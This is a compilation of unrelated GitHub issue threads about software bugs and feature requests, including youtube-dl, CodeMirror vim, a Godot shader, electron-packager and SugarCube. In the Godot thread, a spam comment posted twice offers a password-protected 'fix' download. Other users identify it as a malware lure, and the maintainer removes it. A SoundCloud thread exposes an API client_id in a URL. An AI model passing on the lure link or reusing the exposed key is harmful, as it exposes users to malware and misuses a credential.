VideoOnDemand from yandex.ru issue

Checklist

[x] I'm reporting a broken site support issue
[x] I've verified that I'm running youtube-dl version 2019.07.30
[x] I've checked that all provided URLs are alive and playable in a browser
[x] I've checked that all URLs and arguments with special characters are properly quoted or escaped
[x] I've searched the bugtracker for similar bug reports including closed ones
[x] I've read bugs section in FAQ

Verbose log

[debug] System config: []
[debug] User config: []
[debug] Custom config: []
[debug] Command-line args: ['-v', 'https://yandex.ru/portal/video?stream_id=485a92d94518d73a9d0ff778e13505f8']
[debug] Encodings: locale cp1251, fs mbcs, out cp866, pref cp1251
[debug] youtube-dl version 2019.07.30
[debug] Python version 3.4.4 (CPython) - Windows-10-10.0.18362
[debug] exe versions: none
[debug] Proxy map: {}
[YandexVideo] 485a92d94518d73a9d0ff778e13505f8: Downloading JSON metadata
[YandexVideo] 485a92d94518d73a9d0ff778e13505f8: Downloading m3u8 information
[debug] Default format spec: best/bestvideo+bestaudio
[debug] Invoking downloader on 'https://strm.yandex.ru/vh-ott-converted/vod-content/296777156/485a92d9-4518-d73a-9d0f-f778e13505f8.ism/<c d="39893333"/>'
[hlsnative] Downloading m3u8 manifest
ERROR: unable to download video data: HTTP Error 404: Not Found
Traceback (most recent call last):
  File "C:\Users\dst\AppData\Roaming\Build archive\youtube-dl\ytdl-org\tmp3oef8xsp\build\youtube_dl\YoutubeDL.py", line 1915, in process_info
  File "C:\Users\dst\AppData\Roaming\Build archive\youtube-dl\ytdl-org\tmp3oef8xsp\build\youtube_dl\YoutubeDL.py", line 1854, in dl
  File "C:\Users\dst\AppData\Roaming\Build archive\youtube-dl\ytdl-org\tmp3oef8xsp\build\youtube_dl\downloader\common.py", line 366, in download
  File "C:\Users\dst\AppData\Roaming\Build archive\youtube-dl\ytdl-org\tmp3oef8xsp\build\youtube_dl\downloader\hls.py", line 62, in real_download
  File "C:\Users\dst\AppData\Roaming\Build archive\youtube-dl\ytdl-org\tmp3oef8xsp\build\youtube_dl\YoutubeDL.py", line 2227, in urlopen
  File "C:\Python\Python34\lib\urllib\request.py", line 470, in open
  File "C:\Python\Python34\lib\urllib\request.py", line 580, in http_response
  File "C:\Python\Python34\lib\urllib\request.py", line 508, in error
  File "C:\Python\Python34\lib\urllib\request.py", line 442, in _call_chain
  File "C:\Python\Python34\lib\urllib\request.py", line 588, in http_error_default
urllib.error.HTTPError: HTTP Error 404: Not Found

Description

I'm using "GraphStudioNext" with "3DYD Youtube Source" to watch videos but it's not playing.

Stop mentioning unrelated 3rdparty software.


 Shift-P command paste multiline content but not forward

Tested in chrome qwerty: https://codemirror-vim--util.repl.co/
█irst
second
third

Running v3jyP. Expected:
█irst
second
third
first
second
third

Got:
first
second
third
█irst
second
third

It happens when register content is multiline, but not line-wise. There is no way to avoid this bug if you need to paste from system clipboard.

Could you explain in more detail what do you mean. Running dwP in codemirror works the same way as in vim itself.

Test here: https://codemirror-vim--util.repl.co/
P works like p for me. Running yeP for example.

I got cursor at first symbol first line:
first line
second
third

Running y3d, P.
I expect cursor stay on same position, and buffer inserted after cursor.
Instead cursor moved to end of insertion (like p behave).

With which operating system, browser, and keyboard layout do you see this? This still works correctly for me on windows, chrome, qwerty layout.

█irst
second
third

Running v3jyP.
Windows, chrome, qwerty layout.

As far as i can tell it is not a difference between p and P, but multiline and single line pasted text.
https://raw.githack.com/replit/codemirror-vim/fix-cursor-after-p/dev/web-demo.html seems to behave the same way as vim, please check.


Fix random map issue, chose the right files.

Possible fix: nuke the server.properties file, this should cause it to scan its dir and look for world files.
After we do that manually, if it fixes it, re upload the new server.properties file.
Commands: rm server.properties  in the server dir.

What is the random map issue, and on what bases makes us think deleting server.properties will fix it?

Fixed in #62


Update Wazuh docs

Inclusion of how to set the server host for Wazuh dashboard.

pep8 tests failed

pep8 tests failed

Will look into it!

doc/source/configuration/wazuh.rst:255: D002 Trailing whitespace


dead code check in CI

Here is the idea: https://github.com/snowleopard/hadrian/pull/583#issuecomment-384603050


Repair StyleCI hook

The StyleCI does not run on every commit to a PR.

This should be fixed now. Thanks!


Improvement proposal to allow 2D lighting and modulation

Hey guys,
first of all thanks for the shader, it does a pretty well job. While working with it i stumbled over two main issues:

Light sources are being ignored (as already highlighted in issue 5)
Color modulation and font color is not working when applying this shader (as highlighted in issue 6)

I searched some time and came up with a solution which works for me. In case that anyone else stumbles over the same problem, I would like to show how to easily modify the existing shader script to tackle that.
Include light sources
In order to include light sources, the render_mode value has to be changed to blend_mix
Allow color modulation
In order to allow modulation of colors, the original color has to be multiplied with the calculated color of each pixel. To do this, the following line:
COLOR = texturePointSmooth(TEXTURE, UV, TEXTURE_PIXEL_SIZE);
has to be replaced by
COLOR *= texturePointSmooth(TEXTURE, UV, TEXTURE_PIXEL_SIZE);
Complete modified script
// IMPLEMENTATION INSTRUCTIONS:
// --------------------------------------------------
// - Apply this shader to each Sprite as a material
// - Set Texture->Filter to 'Linear'
//
// RESOLUTION SETUP:
// --------------------------------------------------
// Project -> Project Settings:
// Viewport Width/Height: Set to pixel art resolution e.g. 320x200
// Window Width/Height override: Set to window size in real pixel, e.g. 1920x1080
// Stretch -> Mode: canvas_items
// Stretch -> Aspect: e.g. keep_width
// Stretch -> Mode: fractional

shader_type canvas_item;
render_mode blend_mix;	// Needed to allow lighting to work

// Automatic smoothing
// independent of geometry and perspective
vec4 texturePointSmooth(sampler2D smp, vec2 uv, vec2 pixel_size)
{
	vec2 ddx = dFdx(uv);
	vec2 ddy = dFdy(uv);
	vec2 lxy = sqrt(ddx * ddx + ddy * ddy);

	vec2 uv_pixels = uv / pixel_size;

	vec2 uv_pixels_floor = round(uv_pixels) - vec2(0.5f);
	vec2 uv_dxy_pixels = uv_pixels - uv_pixels_floor;

	uv_dxy_pixels = clamp((uv_dxy_pixels - vec2(0.5f)) * pixel_size / lxy + vec2(0.5f), 0.0f, 1.0f);

	uv = uv_pixels_floor * pixel_size;

	return textureGrad(smp, uv + uv_dxy_pixels * pixel_size, ddx, ddy);
}

void fragment()
{
	COLOR *= texturePointSmooth(TEXTURE, UV, TEXTURE_PIXEL_SIZE);
}

This is a solution that worked for me. In case that you like this, feel free to integrate it as an alternate version or modification.
Best Regards
JensDeBaer

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file password: changeme In the installer menu, select "gcc."

Ok you did not give any explanation and this zip file contains a dll and an exe file. This seems to be some malware.
@All: Please do not download this. I guess it is some bot placing malware...

Ok, so bad news. I realized my testing was bad. Multiplying the COLOR in the end does have a bad impact on the color.
It can be used to tackle the Font Color issue, but then you will have to use apply a separate shader to the labels whose font color you want to change.
Sorry for that.

@All: Please do not download this. I guess it is some bot placing malware...

Thanks for the heads up, I've removed the comment and reported it as spam. I also removed the link from your quote so nobody ends up accidentally downloading it.
As for the issue itself: I haven't been using Godot actively for quite a while now, and thus didn't keep this repository up to date. I think the changes make sense but I don't know when or if I get back to it in the future.


Request: Powered travel anchor

Have an option for the travel anchor to be attached to a power conduit. Powered travel anchors could have a travel range similar to the staff of travel.

Use the telepad when you need a greater range (new in EnderIO 2.3)

Indeed, telepad does this


Supporting mouse events in Deck layers

Great work on this library, has made it really easy to get started with Deck!
I noticed you have pointer-events: none as well as controller: false, preventing the deck layers from being able to respond to user input. In my case, I have an onHover function on a bitmap layer I'm using to get the color as a specific location.
We're there any plans to make this configurable for such use cases? Have you experienced any issues with allowing the mouse events to flow through to Deck?

Thanks! Your comments were very helpful for bringing this library to life.
Yes, I'm going to improve the mouse interactions and picking support further, following the patterns in other existing integration libraries.

I gave it a shot and it seems it's working. I'm not sure why I used pointer-events: none in the first place. Released as 1.2.0. Let me know if it works for you.


rcedit.exe failed with exit code 1. Cannot open icon file 'i' - Fatal error: Unable to set icon

My icon named icon.ico is 256x256 sized. Run packager with:
electron-packager electron-quick-start --platform=win32 --arch=x64 --icon=icon.ico
but error happens:
C:\Users\Guilherme\Documents\VSCode Projects>electron-packager electron-quick-start --platform=win32 --arch=x64 --icon=".\icon"        electron-packager Electron Packager 12.2.0                                                                                electron-packager Node v8.11.4                                                                                electron-packager Host Operating system: win32 (x64) +0ms                                                                            electron-packager Packager Options: {"_":["electron-quick-start"],"deref-symlinks":true,"derefSymlinks":true,"download":{"strictSSL":true},"prune":true,"platform":"win32","arch":"x64","icon":".\\icon","dir":"electron-quick-start","protocols":[]} +4ms                electron-packager Target Platforms: win32 +1ms                                                                                electron-packager Target Architectures: x64 +1ms                                                                                electron-packager Inferring application name from name in C:\Users\Guilherme\Documents\VSCode Projects\electron-quick-start\package.json +0ms                                                                                electron-packager Inferring appVersion from version in C:\Users\Guilherme\Documents\VSCode Projects\electron-quick-start\package.json +1ms                                                                                electron-packager Inferring win32metadata.CompanyName from author in C:\Users\Guilherme\Documents\VSCode Projects\electron-quick-start\package.json +2ms                                                                                electron-packager Inferring target Electron version from electron in C:\Users\Guilherme\Documents\VSCode Projects\electron-quick-start\package.json +5ms                                                                                electron-packager Application name: electron-quick-start +24ms                                                                       electron-packager Target Electron version: 3.0.4 +3ms                                                                                electron-packager Ignored path regular expressions: [ '/\\.git($|/)', '/node_modules/\\.bin($|/)', '\\.o(bj)?$' ] +0ms               electron-packager Downloading Electron with options {"strictSSL":true,"platform":"win32","arch":"x64","version":"3.0.4"} +0ms      Packaging app for platform win32 x64 using electron v3.0.4                                                                             electron-packager Creating C:\Users\GUILHE~1\AppData\Local\Temp\electron-packager\win32-x64-template +480ms                          electron-packager Extracting C:\Users\Guilherme\AppData\Local\electron\Cache\electron-v3.0.4-win32-x64.zip to C:\Users\GUILHE~1\AppData\Local\Temp\electron-packager\win32-x64-template +4ms                                                                              electron-packager Initializing app in C:\Users\GUILHE~1\AppData\Local\Temp\electron-packager\win32-x64\electron-quick-start-win32-x64 from C:\Users\GUILHE~1\AppData\Local\Temp\electron-packager\win32-x64-template template +0ms                                        electron-packager Ignored paths based on the out param: [ 'C:\\Users\\Guilherme\\Documents\\VSCode Projects\\electron-quick-start-darwin-x64',                                                                                'C:\\Users\\Guilherme\\Documents\\VSCode Projects\\electron-quick-start-linux-ia32',                                                 'C:\\Users\\Guilherme\\Documents\\VSCode Projects\\electron-quick-start-linux-x64',                                                  'C:\\Users\\Guilherme\\Documents\\VSCode Projects\\electron-quick-start-linux-armv7l',                                               'C:\\Users\\Guilherme\\Documents\\VSCode Projects\\electron-quick-start-linux-arm64',                                                'C:\\Users\\Guilherme\\Documents\\VSCode Projects\\electron-quick-start-linux-mips64el',                                             'C:\\Users\\Guilherme\\Documents\\VSCode Projects\\electron-quick-start-mas-x64',                                                    'C:\\Users\\Guilherme\\Documents\\VSCode Projects\\electron-quick-start-win32-ia32',                                                 'C:\\Users\\Guilherme\\Documents\\VSCode Projects\\electron-quick-start-win32-x64' ] +2s                                             electron-packager Renaming electron.exe to electron-quick-start.exe in C:\Users\GUILHE~1\AppData\Local\Temp\electron-packager\win32-x64\electron-quick-start-win32-x64 +424ms                                                                                electron-packager Running rcedit with the options {"version-string":{"FileDescription":"electron-quick-start","InternalName":"electron-quick-start","OriginalFilename":"electron-quick-start.exe","ProductName":"electron-quick-start","CompanyName":"GitHub"},"file-version":"1.0.0","product-version":"1.0.0","icon":"icon.ico"} +0ms                                                                      rcedit.exe failed with exit code 1. Cannot open icon file 'i'                                                                        Fatal error: Unable to set icon                                                                                C:\Users\Guilherme\Documents\VSCode Projects>electron-packager electron-quick-start --platform=win32 --arch=x32 --icon=icon.ico        electron-packager Electron Packager 12.2.0                                                                                electron-packager Node v8.11.4                                                                                electron-packager Host Operating system: win32 (x64) +0ms                                                                            electron-packager Packager Options: {"_":["electron-quick-start"],"deref-symlinks":true,"derefSymlinks":true,"download":{"strictSSL":true},"prune":true,"platform":"win32","arch":"x32","icon":"icon.ico","dir":"electron-quick-start","protocols":[]} +4ms             Unsupported arch=x32 (string); must be a string matching: ia32, x64, armv7l, arm64, mips64el                                                                                C:\Users\Guilherme\Documents\VSCode Projects>electron-packager electron-quick-start --platform=win32 --arch=x86 --icon=icon.ico        electron-packager Electron Packager 12.2.0                                                                                electron-packager Node v8.11.4                                                                                electron-packager Host Operating system: win32 (x64) +0ms                                                                            electron-packager Packager Options: {"_":["electron-quick-start"],"deref-symlinks":true,"derefSymlinks":true,"download":{"strictSSL":true},"prune":true,"platform":"win32","arch":"x86","icon":"icon.ico","dir":"electron-quick-start","protocols":[]} +4ms             Unsupported arch=x86 (string); must be a string matching: ia32, x64, armv7l, arm64, mips64el                                                                                C:\Users\Guilherme\Documents\VSCode Projects>electron-packager electron-quick-start --platform=win32 --arch=x64 --icon=icon.ico        electron-packager Electron Packager 12.2.0                                                                                electron-packager Node v8.11.4                                                                                electron-packager Host Operating system: win32 (x64) +0ms                                                                            electron-packager Packager Options: {"_":["electron-quick-start"],"deref-symlinks":true,"derefSymlinks":true,"download":{"strictSSL":true},"prune":true,"platform":"win32","arch":"x64","icon":"icon.ico","dir":"electron-quick-start","protocols":[]} +4ms               electron-packager Target Platforms: win32 +2ms                                                                                electron-packager Target Architectures: x64 +1ms                                                                                electron-packager Inferring application name from name in C:\Users\Guilherme\Documents\VSCode Projects\electron-quick-start\package.json +0ms                                                                                electron-packager Inferring appVersion from version in C:\Users\Guilherme\Documents\VSCode Projects\electron-quick-start\package.json +2ms                                                                                electron-packager Inferring win32metadata.CompanyName from author in C:\Users\Guilherme\Documents\VSCode Projects\electron-quick-start\package.json +1ms                                                                                electron-packager Inferring target Electron version from electron in C:\Users\Guilherme\Documents\VSCode Projects\electron-quick-start\package.json +6ms                                                                                electron-packager Application name: electron-quick-start +24ms                                                                       electron-packager Target Electron version: 3.0.4 +1ms                                                                                electron-packager Ignored path regular expressions: [ '/\\.git($|/)', '/node_modules/\\.bin($|/)', '\\.o(bj)?$' ] +0ms               electron-packager Downloading Electron with options {"strictSSL":true,"platform":"win32","arch":"x64","version":"3.0.4"} +0ms      Packaging app for platform win32 x64 using electron v3.0.4                                                                             electron-packager Creating C:\Users\GUILHE~1\AppData\Local\Temp\electron-packager\win32-x64-template +459ms                          electron-packager Extracting C:\Users\Guilherme\AppData\Local\electron\Cache\electron-v3.0.4-win32-x64.zip to C:\Users\GUILHE~1\AppData\Local\Temp\electron-packager\win32-x64-template +3ms                                                                              electron-packager Initializing app in C:\Users\GUILHE~1\AppData\Local\Temp\electron-packager\win32-x64\electron-quick-start-win32-x64 from C:\Users\GUILHE~1\AppData\Local\Temp\electron-packager\win32-x64-template template +0ms                                        electron-packager Ignored paths based on the out param: [ 'C:\\Users\\Guilherme\\Documents\\VSCode Projects\\electron-quick-start-darwin-x64',                                                                                'C:\\Users\\Guilherme\\Documents\\VSCode Projects\\electron-quick-start-linux-ia32',                                                 'C:\\Users\\Guilherme\\Documents\\VSCode Projects\\electron-quick-start-linux-x64',                                                  'C:\\Users\\Guilherme\\Documents\\VSCode Projects\\electron-quick-start-linux-armv7l',                                               'C:\\Users\\Guilherme\\Documents\\VSCode Projects\\electron-quick-start-linux-arm64',                                                'C:\\Users\\Guilherme\\Documents\\VSCode Projects\\electron-quick-start-linux-mips64el',                                             'C:\\Users\\Guilherme\\Documents\\VSCode Projects\\electron-quick-start-mas-x64',                                                    'C:\\Users\\Guilherme\\Documents\\VSCode Projects\\electron-quick-start-win32-ia32',                                                 'C:\\Users\\Guilherme\\Documents\\VSCode Projects\\electron-quick-start-win32-x64' ] +2s                                             electron-packager Renaming electron.exe to electron-quick-start.exe in C:\Users\GUILHE~1\AppData\Local\Temp\electron-packager\win32-x64\electron-quick-start-win32-x64 +550ms                                                                                electron-packager Running rcedit with the options {"version-string":{"FileDescription":"electron-quick-start","InternalName":"electron-quick-start","OriginalFilename":"electron-quick-start.exe","ProductName":"electron-quick-start","CompanyName":"GitHub"},"file-version":"1.0.0","product-version":"1.0.0","icon":"icon.ico"} +0ms                                                                      rcedit.exe failed with exit code 1. Cannot open icon file 'i'                                                                        Fatal error: Unable to set icon

just in case somebody encounter same problem like I did,
my case was built failed with exactly same error in electron-vue,
after I comment out the icon attr in ./electron-vue/build.config.js,
can successfully build now.

For some reason, rcedit can't find your icon file. Perhaps set the icon parameter to an absolute path. There's a bug in rcedit where it will only print the first character of the icon path given to rcedit (the i in these cases).


Running code in SugarCube's scope from an external script.

Is your feature request related to a problem?
I think importScript() and Tweego's module/head options make it really easy to add JavaScript to games while keeping out of player's ways (e.g., filling up their Story JS) but it has the limitation of all the code being run out of context. It would be nice to be able to run code in context. For example, if I could create a "wrapped" version of my macros that can be included via importScripts().
I envision say, creating "wrapped" versions of my macros that users can add via Tweego modules or via importScripts() to clean up their projects a bit.
Describe the solution you'd like.
From the brain-splintering conversation we had on Discord with Cy, the solution we came to was the following wrapper:
SugarCube.evalJavaScript((function () {
    // code to run in-scope goes here
}).toString());

This does work, however, I'm always nervous about relying on SugarCube.* methods given they are typically debug features and undocumented, so is this safe for production code? Is there a better way to do this? Would you rather add a specific method just for this so you can add more sanity checks and such?

Doesn't have to be a SugarCube.* function though... Could very well be a function on window.

Yeah, I'd like to see this as well.
Also, if the function calls from HTML element event attributes (e.g. <a onclick="JavaScipt">) could be in scope (or at least have a clearly documented way to work with SugarCube out of scope) then that would solve a lot of grief and headaches for developers who don't yet understand how scope works or that it would be out of scope to work that way.

Instead of opening SugarCube's engine to external access would adding a "startup" time related event that a external module can listen for (with a relevant reference) be enough to help the module add what it needs to SugarCube's scope?

Instead of opening SugarCube's engine to external access would adding a "startup" time related event that a external module can listen for (with a relevant reference) be enough to help the module add what it needs to SugarCube's scope?

I'm trying to envision how this would work. The event would have access to various APIs via it's context? Or would it expose a function like the one suggested? Either way, if there are significant concerns about access, I'm not sure limiting the time that access is granted does much to protect anything, so I guess I don't see the point. It seems like we're limiting access without making any gains.

In my (limited) experience the time when access (to SugarCube internals) is generally required by an external module is during startup, so the Module has a chance to 'register' itself in some way within the SugarCube scope.
eg. initialise variables, define setup object references, etc...
After which such 'registered' references to the Module can be used within code that is run within the SugarCube scope.


import sc comments

https://stackoverflow.com/questions/40992480/getting-a-soundcloud-api-client-id

https://developers.soundcloud.com/docs/api/reference#comments

https://api.soundcloud.com/tracks/545859534/comments?client_id=HzEllmdjxRaeJ4LHu62ED4YKXrx4ji1v


Fix : Issue #1223

NOTE: A similar PR may already be submitted! Please search among the Pull request before creating one.
Types of Changes
What types of changes does your PR introduce? Put an x in all boxes that apply

[ ] New addition to list
[x] Fixing bug in existing item in list
[ ] Removing item from list
[ ] Changing structure (organization) of list

Proposed Changes
Describe each of your changes here to communicate to the maintainers why we should accept this pull request.
Get More details about the Issue here #1223
The Issue is Fixed and able to merge.
PR Checklist
Put an x in the boxes once you've completed each step. You can also fill these out after creating the PR. If you're unsure about any of them, don't hesitate to ask. We're here to help! This is simply a reminder of what we are going to look for before merging your code.

[x] I have read the CONTRIBUTING guide
[x] I have explained why this PR is important
[x] I have added necessary documentation (if appropriate)

Further Comments
N/A

@jaywcjlove The issue #1223 is fixed and can be closed

Feel free to add me as reviewer for any future Pull requests opened by other.
Thank You


bug: check for subscription owner fails

Expected Behavior

If a MI is a rg owner but not a sub owner, CheckIsOwner should return false. More concisely, if the MI has owner role on ANY resource EXCEPT subscription, CheckIsOwner should fail. Also, if MI has owner role on NO resource, CheckIsOwner should fail.
Actual Behavior

If MI has resource owner on resources other than the subscription, CheckIsOwner returns true.

fixed by #104


Add a Discord/Community Code of Conduct.

We want to add something like this which you'll need to approve before joining the TiDev Discord:
https://github.com/nodejs/admin/blob/main/CODE_OF_CONDUCT.md

Another good example is the MariaDB Foundation: https://mariadb.org/about. They have the usual code of conduct and such, but they also cover security policies, analytics usage, by-laws, logos, etc.

 But I can't argue with you, the content is fantastic. There's a lot to learn there. @cb1kenobi

Here's another possible example for this: https://berlincodeofconduct.org/

We're going to pull the Berlin Code of Conduct into Github (here) in an MD file and use that as a start point to solve this problem.

Since we're sticking with Slack, we no longer need Discord.


added R lib directory structure

Added a place for R libraries.
Should we use this across R and Rmd files? I don't know the best way.

It would mean in an Rmd to do:
source("../lib/dummy.R")

that's ok, and a final final version even you can load from the github in case you don't want to do setwd() to run the code.


Error using eval code

Hello,
Sorry if I am beating a horse to death. I am still having an issue with my code, but my original post has been closed (see issue #78 ).
I am using the Keras version of PSPNet, with 19 as my number of classes and trainid2label as my mapping. This is the error that I am getting:
Traceback (most recent call last):
File "evalPixelLevelSemanticLabeling.py", line 696, in
main()
File "evalPixelLevelSemanticLabeling.py", line 690, in main
evaluateImgLists(predictionImgList, groundTruthImgList, args)
File "evalPixelLevelSemanticLabeling.py", line 478, in evaluateImgLists
nbPixels += evaluatePair(predictionImgFileName, groundTruthImgFileName, confMatrix, instStats, perImageStats, args)
File "evalPixelLevelSemanticLabeling.py", line 605, in evaluatePair
confMatrix[gt_id][pred_id] += c
IndexError: index 34 is out of bounds for axis 0 with size 34
I would appreciate any help.

The error message indicates that it found an ID 34 in either the ground truth or the prediction file. You would need to debug into this.
If this happens only for a single file, you could try to add a try...catch around the line and print the file names in the catch block. You could identify occuring IDs by loading the prediction and groundtruth images using numpy and printing their unique IDs.

Thank you for your advice. I will try this out and let you know what I find!


Remove pilot/tools

Please provide a description of this PR:

@hzxuzhonghu: The following test failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

integ-distroless_istio
f1a94abfdf5f088e38a48940750622933c813d3c
link
true
/test integ-distroless_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest


Use global EventEmitter for listener management

Note: this is a breaking change requiring a major version bump.
From an API perspective, the biggest change is that the onExit callback
is not provided with the exit code corresponding to 127 + signal code.
The reason for this is the same as for why it is not provided in Node's
ChildProcess close & exit events: the numbers vary across operating
systems, and are set in libc.  Thus, it's easier to just return null
as the exit code in those cases, and provide the signal only.
Instead of adding handlers directly to all of the signals, and using the
maxListeners option, with this change only a single emitter is used, so
that we only ever add 1 signal handler per signal.
In order to handle cases where the module might be loaded multiple
times, the emitter is hung on the process object at
process.__signal_exit_emitter__.  This object then has a count
property which keeps track of the number of times signal-exit has loaded
handlers.
The onSignalExit function now returns an unwrap method which will
remove the handler that the user provided.  When all handlers are
removed, it also then removed all of the signal event handlers and
process.exit handler.
Getting accurate coverage of this module required jumping through a few
hoops.  The unwrap tests in particular have to do some bizarre things to
pull nyc's handlers out of the way (and then re-add them later).  And,
any of the lines in the direct stack of emitting the afterexit event
will never be coverage-friendly, since they cannot complete until after
coverage has been finalized and written out.
With a few ignored lines and dirty tricks, however, coverage is 100%.
The biggest downside to this approach is that it does rely on a global
object hung on process.  At the very least, it's an extremely simple
shared interface, and EventEmitter is one of the most stable
abstractions in Node.

wow, this is looking awesome. I'm working on getting this merged, fixing a couple tests on OSX.

Btw, some of the tests won't work until nyc ships with the changes that are in this patch :)


Start/Stop entire stack (docker compose) with one click in GUI

Is your feature request related to a problem? Please describe.
From orbstack GUI it's possible to start/stop only one container at time. If there is a stack created with docker compose is very logn to start and stop all containers
Describe the solution you'd like
In GUI organize the containers as subelements of a folder that have the name of docker compose stack. Implemente start/stop command at folder level
Describe alternatives you've considered
None.
Additional context
Like docker desktop GUI

Added for the next version.

Released in v0.10.0.


[Workspace Chats for All] Make it possible to submit expenses to any workspace, whether or not there is a workspace chat

Problem
There are a few different ways users can end up in a scenario in NewDot where they aren't able to submit expenses to their workspace. A couple known scenarios:

The user is on an existing policy that gets added to the policyExpenseChat beta. When someone is added to this beta, we don't create workspace chats for users immediately. We do create the workspace chat the next time an expense/report is created, but that can only be done via OldDot since there is no workspace chat in NewDot and the only way to submit an expense in NewDot is to submit it to the workspace chat. This scenario will soon apply to all of our internal policies, which we plan to update to be NewDot-enabled imminently.
When a user is on an existing policy that isn't on the policyExpenseChat beta. This can happen when a user lands in NewDot (for example to chat with Concierge) and tries it out. We've seen multiple examples of this happening with existing users in #concierge-development

Solution
Update NewDot to allow submitting to any policy you are a member of, whether or not a workspace chat exists for it. The back-end will then handle creating a workspace chat for the expense if necessary. This would solve the problem for both 1 and 2.
To do this we will:

Show all workspaces the user is a member of that have isPolicyExpenseChatEnabled=true in the submit expense dialog, whether or not workspace chats exist for them
Pass both a policyID and workspace chat reportID when creating the expense
If the user doesn't have a workspace chat locally, then we will create an optimistic one
The back-end will handle taking the optimistic workspace chat report and creating it if necessary
If a workspace chat already exists that is different than the optimistic one, we will return the pre-existing reportID (just like we do when starting chats)

Issue OwnerCurrent Issue Owner: @puneetlath

@dubielzyk-expensify un-assigning you since there's no new UI being added here.

Moving this over to #migrate project as it will be a blocker for enabling workspace chat for existing workspaces of Cohort 1.

Can we move this issue to Daily given that it's CRITICAL for #migrate?

Awesome, adding a Daily on this one so the priority is a bit more clear to those passing through.

Likely going to change this behavior based on this discussion: https://expensify.slack.com/archives/C07NMDKEFMH/p1730152377459179?thread_ts=1730145327.196299&cid=C07NMDKEFMH
I'll update here shortly.

We should close it. Just need to pay out for the work done.

Payment summary:

C - @ishpaul777 - $750 for 3 PRs
C+ - @allroundexperts - $500 for 2 PRs

@ishpaul777 offer is here: https://www.upwork.com/nx/wm/offer/104882055. Please ping me on this issue when you've accepted.
@allroundexperts please request in NewDot.

Paid. Thanks y'all!


Chartjs zooming out problem on x-axis

I have used the zoom plugin for zooming my chart and it was quite useful but i am getting some really difficulty in zooming out. On my x-axis there are dates and i am zooming only the x-axis. If i zoom in and then zoom out it is not doing and showing the chart back to its position however if i simply plot the counting numbers along side the x-axis it zoom out successfully. i have searched but nothing helps i this regard.
Another suggestion i want is can i have a scroll depend on the zoom? like on x-axis when i zoom in graph go out of the canvas total width and we cannot see the future points . So can i have the scroll that increase the scroll as the zoom and we can scroll the graph?? or another suggestion is may be we can have a drag option like drag the chart to the position like we move and pull the chart to and fro.
Waiting for urgent reply. any kind of help would be much appreciated.

I think this is better asked on the zoom repo. I believe the underlying issue is that the time axis doesn't work well with zooming.

@etimberg  i thought you were also contributing in that repo. I tried there but nobody responded there. Then i thought that i should post in this repo.

To be honest I don't have enough time to maintain both Chartjs and the zoom plugin so it's kind of looking for a maintainer at the moment. @compwright was doing some maintaining as well, but I think he's gotten busy too

@etimberg i know you people have your own responsibilities and we cannot deny the contributions by you and your team to the open source community. I have checked this issue and dig it in and find the problem. I responded on the repo of this plugin. Thank you again for all your concerns.


[objC] remove xxhash.h patch

fix of https://github.com/grpc/grpc-ios/issues/73

@drfloob
@dennycd

Thx @drfloob
the fix is already included in our current version, by https://github.com/grpc/grpc/pull/28236

Looks like build test failed for ios-buildtest-example-tvOS-sample , please check and see if that is related to this , thanks : )

It seems mostly xds related, could we rebase and run the CIs for one more time?


Corrected auto-heal

Added test case to detect bug when pickley wrongly claims that an installation is unhealthy when a new version for an installed CLI becomes available

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Comparison is base (9ff32a9) 99.87% compared to head (0263aaf) 99.87%.

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@           Coverage Diff           @@
##             main      #28   +/-   ##
=======================================
  Coverage   99.87%   99.87%
=======================================
  Files          13       13
  Lines        2321     2332   +11
=======================================
+ Hits         2318     2329   +11
  Misses          3        3

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


FIX remove web ui config in values.yaml

What was changed

remove web ui config in values.yaml
remove web config volume in web-deployment.yaml
remove web-config config map
remove line 280 since the install bash didn't configure web ui auth
update the document for web ui configuration with env variable

Why?
#393
Checklist

Closes #393

How was this tested:
manually, 100% craft by hand. since the repo didn't provide any testing tool.

Any docs updates needed?
already updated with the PR.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

+1, spent ~hour trying to understand why OID does not work when finally found that config map is not mounted to any volume/file.

Can we get this merged? Also just spent a ton of time on auth that wasn't necessary.

@tsurdilo

@robholland

All done. By the way, is there any test I can run? The PR has been open for a really long time, and I haven't touched the temporal charts since then. I'm not as confident as I was when I submitted the PR.

Nothing automated. We internally use the helm charts to install the base app, but we don't modify the UI so wouldn't pick up on problems. I'll do a manual test before I merge it though.


[Enhancement] Method stores return result in local before immediately returning it [FreePriorityDispatchStrategy]

Search before asking

[X] I had searched in the issues and found no similar issues.

Enhancement Request

located at:
eventmesh-runtime/src/main/java/org/apache/eventmesh/runtime/core/protocol/tcp/client/group/dispatch/FreePriorityDispatchStrategy.java line 72
analysis and explanation:
This method stores the return result in a local variable, and then immediately returns the local variable. It would be simpler just to return the value that is assigned to the local variable
Describe the solution you'd like
Returns the value assigned to the local variable directly
Are you willing to submit PR?

[x] Yes I am willing to submit a PR!

I want to fix it.

I want to fix it.


Feat: add security section and snyk

Hi,
Looks like I'm the first one to add a security section for a developer-first security platform :-)

Good idea, thanks for the contribution :)


glibc: NVCC aarch64 intrinsics are unsupported

Context
The GLIBC 2.38 update introduces intrinsics for aarch64-linux in math.h. NVCC (NVIDIA's CUDA Compiler) is now unable to compile any CUDA file for aarch64-linux because it does not support these intrinsics: https://forums.developer.nvidia.com/t/nvcc-fails-to-build-with-arm-neon-instructions-cpp-vs-cu/248355/2.
As a result, PyTorch, Magma, Jax, and any other CUDA-enabled package now fail to build on aarch64-linux. Given GILBC releases come twice a year, it is important that this patch is applied within Nixpkgs, rather than waiting for upstream to accept and apply such a fix.
An alternative approach might be to patch the GLIBC used by NVCC. This approach is not taken for several reasons:

